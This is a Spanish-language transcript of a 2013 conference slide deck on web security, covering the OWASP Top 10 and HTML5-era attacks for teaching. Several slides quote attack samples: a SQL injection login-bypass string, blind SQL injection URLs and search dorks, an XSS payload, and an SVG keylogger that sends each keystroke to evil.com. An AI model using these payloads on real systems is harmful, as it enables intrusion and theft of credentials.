La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

42
Pablo Garaizar, Universidad de Deusto XV Jornada de Seguridad TI La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

description

Presentación sobre seguridad web en la XV Jornada de Seguridad TI de Nextel S.A. en la Alhóndiga de Bilbao el jueves 27 de junio de 2013.

Transcript of La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Page 1: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Pablo Garaizar, Universidad de Deusto

XV Jornada de Seguridad TI

La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Page 2: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

¿De qué vamos a hablar?

● Oldies goldies: OWASP Top 10, 2013:● A1 - Injections● A2 - Broken Authentication and Session Management● A3 - Cross-Site Scripting (XSS)● …

● Nuevas vulnerabilidades en torno a HTML5.

Page 3: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

OWASP Top 10, 2013https://www.owasp.org/index.php/Top_10_2013-Top_10

Page 4: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

OWASPThe Open Web Application Security Project

https://www.owasp.org/index.php/Main_Page

Page 5: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A1 - InjectionSQL, OS, and LDAP injections

https://www.owasp.org/index.php/Top_10_2013-A1

Page 6: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

SQL InjectionPor una comilla de nada...

SELECT * FROM users

WHERE user = '" + username + "' and

password = '" + md5(password) + "';

Username: admin' OR '1'='1

Password: whatever

SELECT * FROM users

WHERE user = 'admin' OR '1'='1' and

password = '" + md5('whatever') + "';

Page 7: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

SQL InjectionSi no hay mensajes de error, Blind SQL Injection

● Si no hay error, se muestra la página normal.● http://myblog.com/post.asp?id=33 AND 1=1SELECT * FROM posts WHERE id = 33 AND 1=1

● Si hay error, se muestra otra página.● http://myblog.com/post.asp?id=33 AND 1=0SELECT * FROM posts WHERE id = 33 AND 1=0

● Google Hacking:– inurl:"php?id="– inurl:"asp?id="

Page 8: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

SQL InjectionBlind SQL Injection, herramientas

● SQLbfTools: – http://www.reversing.org/node/view/11

● ./mysqlbf.exe "http://web/vulnerable.php?ID=3" "now()" "word"

● SQL Ninja: – http://sqlninja.sourceforge.net/sqlninjademo1.html

● Absinthe: – http://www.0x90.org/releases/absinthe/download.php

Page 9: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A2 - Broken Authentication and Session Management Compromise passwords, keys, session tokens, etc.

https://www.owasp.org/index.php/Top_10_2013-A2

Page 10: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

DEMOLogin en Flash

inurl:login.swf

Page 11: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A3 - Cross-Site Scripting (XSS)Allows attackers to execute scripts in the victim’s browser

https://www.owasp.org/index.php/Top_10_2013-A3

Page 12: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Cross-Site Scripting (XSS)Diferentes tipos y alcances

● Tipo 0: Basado en DOM. – Una página maliciosa abre una página local con permisos de Zona

Local y ejecuta código con esas credenciales.– Típicamente en phising o SPAM.

● Tipo 1: No persistente.– El más común, necesita Ingeniería Social para explotarse.– Típicamente en webs de búsquedas, se muestra a su vez la cadena

consultada (si tiene código, será ejecutado). ● Tipo 2: Persistente.

– El código está almacenado en una BD, fichero, o similar.– No requiere mucha Ingeniería Social para que la víctima lo ejecute.– Típicamente en foros o similares.

Page 13: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A4 - Insecure Direct Object ReferencesReferences to an internal implementation object, such as a file, directory, or database key

https://www.owasp.org/index.php/Top_10_2013-A4

Page 14: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

RFIPHP shells

http://oco.cc/

Page 15: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A5 - Security MisconfigurationKeeping all software up to date

https://www.owasp.org/index.php/Top_10_2013-A5

Page 16: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

The Exploit DatabaseBúsqueda de avisos + exploits ordenados por temas y fechas

http://www.exploit-db.com/

Page 17: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A6 - Sensitive Data ExposureSensitive data deserves extra protection such as encryption

https://www.owasp.org/index.php/Top_10_2013-A6

Page 18: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Seguridad a través de la oscuridadrobots.txt

http://www.casareal.es/robots.txt

User-agent: *

Disallow:

Disallow: /_*/

Disallow: /ES/FamiliaReal/Urdangarin/

Disallow: /CA/FamiliaReal/Urdangarin/

Disallow: /EU/FamiliaReal/Urdangarin/

Disallow: /GL/FamiliaReal/Urdangarin/

Disallow: /VA/FamiliaReal/Urdangarin/

Disallow: /EN/FamiliaReal/Urdangarin/

Sitemap: http://www.casareal.es/sitemap.xml

Page 19: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Seguridad a través de la oscuridadMeta-datos: Fear the FOCA!

http://www.informatica64.com/foca.aspx

Page 20: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A7 - Missing Function Level Access ControlAttackers are able to forge requests in order to access unauthorized functionality

https://www.owasp.org/index.php/Top_10_2013-A7

Page 21: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Proteger el cron en MoodleSimilar para v1.9, 2.x, etc.

http://docs.moodle.org/19/en/Cron

Page 22: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A8 - Cross-Site Request Forgery (CSRF)Forces a logged-on victim’s browser to send a forged HTTP request

https://www.owasp.org/index.php/Top_10_2013-A8

Page 23: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Cross-Site Request Forgery (CSRF)XSRF o "sea-surf"

● Explota la confianza que tiene un sitio en el navegador de un cliente autenticado.– El servidor: acepta las credenciales de la sesión de

usuario almacenada en el navegador.– El cliente: accede a una web que fuerza a su

navegador a realizar acciones no deseadas en un sitio en el que previamente se ha autenticado.

● Contramedida: tokens específicos en cada formulario.

Page 24: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A9 - Using Components with Known VulnerabilitiesVulnerable components, such as libraries, frameworks, and other software modules

https://www.owasp.org/index.php/Top_10_2013-A9

Page 25: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

The Exploit DatabaseBúsqueda de avisos + exploits ordenados por temas y fechas

http://www.exploit-db.com/

Page 26: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A10 - Unvalidated Redirects and ForwardsAttackers can redirect victims to phishing or malware sites

https://www.owasp.org/index.php/Top_10_2013-A10

Page 27: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Ataques de redirecciónPoCs: IE/Firefox Redirection Issue – FB Oauth2 Bypass – BugCrowd

http://soroush.secproject.com/blog/2013/03/iefirefox-redirection-issue-fb-oauth2-bypass-bugcrowd/

Page 28: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Nuevas vulnerabilidades en torno a HTML5

Page 29: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

HTML5 Client-side Stored XSS in Web SQL Database<img onerror="alert('Client-side Stored XSS')" src="nil">

http://www.andlabs.org/html5/csXSS2.html

Page 30: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

HTML5 Cross Origin Requestswget --header="Origin: http://www.andlabs.org" www.andlabs.net/html5/acCOR.php

http://www.andlabs.org/html5/acCOR.php

Page 31: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

HTML5: muchos más ataquesWeb Sockets, Web Workers, UI dressing, HTML5 tag abuse, etc.

http://html5security.org/

Page 32: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

http://www.slideshare.net/x00mario/stealing-the-pie

Page 33: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Ataques sin scriptsfalso captcha usando tipografía propia

http://heideri.ch/opera/captcha/

Page 34: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Ataques sin scriptsFuerza bruta contra password usando CSS y Regexps

http://html5sec.org/invalid?start=0

Page 35: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Ataques sin scriptsLector de valores del DOM a través de CSS y Regexps (CSRF)

http://eaea.sirdarckcat.net/cssar/v2/

Page 36: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Ataques sin scriptsCapturador de sesión mediante CSS y Regexps

http://

Page 37: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Ataques sin scriptsKeylogger SVG

http://html5sec.org/keylogger

<!--injection--><svg height="0px"><image xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="none"><set attributeName="xlink:href" begin="accessKey(a)" to="//evil.com/?a" /><set attributeName="xlink:href" begin="accessKey(b)" to="//evil.com/?b" /><set attributeName="xlink:href" begin="accessKey(c)" to="//evil.com/?c" /><set attributeName="xlink:href" begin="accessKey(d)" to="//evil.com/?d" /><set attributeName="xlink:href" begin="accessKey(e)" to="//evil.com/?e" /><set attributeName="xlink:href" begin="accessKey(f)" to="//evil.com/?f" /><set attributeName="xlink:href" begin="accessKey(g)" to="//evil.com/?g" /><set attributeName="xlink:href" begin="accessKey(h)" to="//evil.com/?h" /><set attributeName="xlink:href" begin="accessKey(i)" to="//evil.com/?i" /><set attributeName="xlink:href" begin="accessKey(j)" to="//evil.com/?j" /><set attributeName="xlink:href" begin="accessKey(k)" to="//evil.com/?k" /><set attributeName="xlink:href" begin="accessKey(l)" to="//evil.com/?l" /><set attributeName="xlink:href" begin="accessKey(m)" to="//evil.com/?m" /><set attributeName="xlink:href" begin="accessKey(n)" to="//evil.com/?n" /><set attributeName="xlink:href" begin="accessKey(o)" to="//evil.com/?o" /><set attributeName="xlink:href" begin="accessKey(p)" to="//evil.com/?p" /><set attributeName="xlink:href" begin="accessKey(q)" to="//evil.com/?q" /><set attributeName="xlink:href" begin="accessKey(r)" to="//evil.com/?r" /><set attributeName="xlink:href" begin="accessKey(s)" to="//evil.com/?s" /><set attributeName="xlink:href" begin="accessKey(t)" to="//evil.com/?t" /><set attributeName="xlink:href" begin="accessKey(u)" to="//evil.com/?u" /><set attributeName="xlink:href" begin="accessKey(v)" to="//evil.com/?v" /><set attributeName="xlink:href" begin="accessKey(w)" to="//evil.com/?w" /><set attributeName="xlink:href" begin="accessKey(x)" to="//evil.com/?x" /><set attributeName="xlink:href" begin="accessKey(y)" to="//evil.com/?y" /><set attributeName="xlink:href" begin="accessKey(z)" to="//evil.com/?z" /></image></svg>

Page 38: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Ataques sin scriptsFuerza bruta contra contraseñas mediante tipografía con “ligaduras”

http://fontforge.org/

Page 39: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

“All user input is evil until proven otherwise”Ken Cox

Page 40: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Muchas gracias ;-)and... happy hacking!

Page 41: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Referencias● OWASP: The Open Web Application Security Project.

● El lado del mal, retos hacking, por Chema Alonso.

● Fear the FOCA! Informática64.

● IE/Firefox Redirection Issue – FB Oauth2 Bypass – BugCrowd, por Soroush Dalili.

● HTML5 Top 10 Threats Stealth Attacks and Silent Exploits, Shreeraj Shah.

● HTML5 security.

● Scriptless Attacks: Stealing the pie without touching the sill, por Mario Heiderich, Felix Schuster y Marcus Niemietz.

● The Exploit Database.

Page 42: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Todas las imágenes son propiedad de sus respectivos dueños, el resto del

contenido está licenciado bajo Creative Commons by-sa 3.0

http://www.zerodayclothing.com, OWASP.org, Microsoft, Exploit-db.com, Informatica64, http://www.flickr.com/photos/ivanlian/3331017290/sizes/l/in/photostream/http://www.flickr.com/photos/samout3/3411358304/sizes/l/in/photostream/

http://www.flickr.com/photos/ndanger/9731511/sizes/l/in/photostream/http://www.flickr.com/photos/marcophoto/6264497575/sizes/l/in/photostream/

etc.